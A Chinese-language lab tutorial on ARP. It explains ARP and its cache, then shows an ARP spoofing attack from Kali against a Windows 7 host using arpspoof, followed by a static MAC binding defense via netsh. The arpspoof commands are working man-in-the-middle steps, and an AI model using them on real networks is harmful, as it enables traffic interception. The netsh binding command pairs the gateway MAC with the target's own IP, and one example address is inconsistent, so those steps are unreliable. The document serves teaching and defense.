ARP:
在以太网中,有一种叫作广播的方法,可以把包发给连接在同一以太网中的所有设备。ARP 就是利用广播对所有设备提问:“×× 这个 IP 地址是谁的?请把你的 MAC 地址告诉我。”然后就会有人回答:“这个 IP 地址是我的,我的 MAC 地址是××××。”
如果对方和自己处于同一个子网中,那么通过上面的操作就可以得到对方的 MAC 地址B。然后,我们将这个 MAC 地址写入 MAC 头部,MAC 头部就完成了。
不过,如果每次发送包都要这样查询一次,网络中就会增加很多 ARP 包,因此我们会将查询结果放到一块叫作 ARP 缓存的内存空间中留着以后用。也就是说,在发送包时,先查询一下 ARP 缓存,如果其中已经保存了对方的 MAC 地址,就不需要发送 ARP 查询,直接使用 ARP 缓存中的地址,而当 ARP 缓存中不存在对方 MAC 地址时,则发送 ARP 查询。
实验环境:
攻击机:kali
靶机:Windows 7
实验步骤:
- 查看IP地址:
1.Kali Linux: ifconfig eth0
从截图中可以看出Kali linux的IP地址是192.168.2.129
2.Windows7: ipconfig
从截图中可以看出windows7的IP地址是192.168.2.130
判断2台主机IP地址属于同一网段
- 连通性测试:
1.Windows 7:关闭防火墙
2.Kali Linux:ping Windows7的IP地址
- Windows7上网测试:
打开IE浏览器---在地址栏中输入---http://www.baidu.com(能看到百度页面)
执行:ipconfig
- 查看网关IP地址,看到的网关IP地址为: 192.168.2.2
执行:arp -a
- 查看网关IP地址对应的MAC地址, MAC地址:00-50-56-f9-d9-89
- ARP攻击:
Kali Linux:arpspoof -i eth0 -t 192.168.2.130 -r 192.168.2.2
- 查看攻击效果:
Windows 7:arp -a (查看网关的MAC地址是否已经变化,有变化,说明攻击成功)
- MAC地址绑定:
1.Kali Linux:终止ARP攻击
2.Windows 7:
arp -a (网关MAC地址重新变回正确的地址)
- 防止ARP攻击
1.Windows7中添加MAC地址
首先查询本地idx
netsh i i show in
已知本机idx为11
2.添加MAC地址
Netsh -c “i i” add neighbors 11 192.168.2.130 00-50-56-f9-d9-89,
Arp -a 查询添加情况
再次执行ARP攻击:
Kali Linux:arpspoof -i eth0 -t Win7的IP地址 -r 网关地址或内网中其他主机的IP地址
例如:arpspoof -i eth0 -t 192.168.26.130 -r 192.168.2.2
- 再次查看网关MAC地址:
Windows7:
arp -a (查看网关MAC地址是否被改变,如果未改变,说明MAC地址的静态绑定成功了。)